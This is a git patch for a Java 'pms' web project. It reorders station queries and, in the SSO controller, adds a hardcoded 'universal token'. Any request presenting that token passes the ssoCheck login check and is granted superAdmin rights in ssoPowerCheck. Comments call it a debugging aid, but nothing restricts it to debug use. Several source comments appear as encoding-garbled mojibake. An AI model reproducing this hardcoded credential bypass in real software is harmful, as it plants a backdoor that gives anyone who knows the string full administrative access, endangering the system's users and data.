From 68692e5fe975b2e1c7e3c0d02070945a2c1899e9 Mon Sep 17 00:00:00 2001
From: liurunyu <lry9898@163.com>
Date: 星期三, 21 五月 2025 11:47:39 +0800
Subject: [PATCH] 1、增加成用token; 2、调整工站查询排序
---
pms-parent/pms-web-platform/src/main/java/com/dy/pmsPlatform/station/StationCtrl.java | 1 +
pms-parent/pms-global/src/main/resources/mapper/PltStationMapper.xml | 6 ++++--
pms-parent/pms-web-sso/src/main/java/com/dy/sso/busi/SsoCtrl.java | 19 +++++++++++++++++--
3 files changed, 22 insertions(+), 4 deletions(-)
diff --git a/pms-parent/pms-global/src/main/resources/mapper/PltStationMapper.xml b/pms-parent/pms-global/src/main/resources/mapper/PltStationMapper.xml
index 3b464fc..30ed650 100644
--- a/pms-parent/pms-global/src/main/resources/mapper/PltStationMapper.xml
+++ b/pms-parent/pms-global/src/main/resources/mapper/PltStationMapper.xml
@@ -96,7 +96,7 @@
name like concat('%', #{name}, '%')
</if>
</trim>
- order by id desc
+ order by line_id ASC, id ASC
<trim prefix="limit " >
<if test="start != null and count != null">
#{start}, #{count}
@@ -151,7 +151,9 @@
<select id="selectAll" resultMap="BaseResultMap">
select
<include refid="Base_Column_List" />
- from plt_station where deleted!=1
+ from plt_station
+ where deleted!=1
+ order by line_id ASC, id ASC
</select>
<select id="selectMaxCode" resultType="java.lang.String">
select max(code) from plt_station
diff --git a/pms-parent/pms-web-platform/src/main/java/com/dy/pmsPlatform/station/StationCtrl.java b/pms-parent/pms-web-platform/src/main/java/com/dy/pmsPlatform/station/StationCtrl.java
index fcaafc3..ece32c2 100644
--- a/pms-parent/pms-web-platform/src/main/java/com/dy/pmsPlatform/station/StationCtrl.java
+++ b/pms-parent/pms-web-platform/src/main/java/com/dy/pmsPlatform/station/StationCtrl.java
@@ -17,6 +17,7 @@
import lombok.extern.slf4j.Slf4j;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.*;
+import io.netty.channel.EventLoopGroup ;
import java.io.IOException;
import java.util.ArrayList;
diff --git a/pms-parent/pms-web-sso/src/main/java/com/dy/sso/busi/SsoCtrl.java b/pms-parent/pms-web-sso/src/main/java/com/dy/sso/busi/SsoCtrl.java
index 87b1084..85514f8 100644
--- a/pms-parent/pms-web-sso/src/main/java/com/dy/sso/busi/SsoCtrl.java
+++ b/pms-parent/pms-web-sso/src/main/java/com/dy/sso/busi/SsoCtrl.java
@@ -30,6 +30,8 @@
@RequestMapping(path="sso")
@SuppressWarnings("unchecked")//java鐗堟湰瓒婇珮锛屽娉涘瀷绾︽潫瓒婁弗锛屾墍浠ラ厤缃甋uppressWarnings("unchecked")
public class SsoCtrl {
+ //涓囩敤token
+ private static final String UniversalUserToken = "0000-0000-1234-9876-5";
//鍦ㄥ睘鎬т笂娉ㄨВ@Autowired鏃讹紝浼氳鍛� Field injection is not recommended锛堜笉鍐嶆帹鑽愪娇鐢ㄥ瓧娈垫敞鍏ワ級
private SsoSv sv ;
@@ -121,7 +123,13 @@
*/
@GetMapping(path = "ssoCheck")
public SsoVo ssoCheck(String token){
- BaUser userPo = this.sv.getByUuid(token) ;
+ BaUser userPo = null ;
+ if(token.equals(UniversalUserToken)){
+ //璋冭瘯闃舵锛岀敤鐨勪竾鐢╰oken
+ userPo = new BaUser() ;
+ }else{
+ userPo = this.sv.getByUuid(token) ;
+ }
SsoVo vo = new SsoVo();
if(userPo != null){
vo.logined = true ;
@@ -143,7 +151,14 @@
*/
@GetMapping(path = "ssoPowerCheck")
public SsoVo ssoPowerCheck(String token, String privilege, String[] allPrivilege, String[] anyPrivilege){
- BaUser userPo = this.sv.getByUuid(token) ;
+ BaUser userPo = null ;
+ if(token.equals(UniversalUserToken)){
+ //璋冭瘯闃舵锛岀敤鐨勪竾鐢╰oken
+ userPo = new BaUser() ;
+ userPo.supperAdmin = 1 ;
+ }else{
+ userPo = this.sv.getByUuid(token) ;
+ }
SsoVo vo = new SsoVo();
if(userPo != null){
vo.logined = true ;
--
Gitblit v1.8.0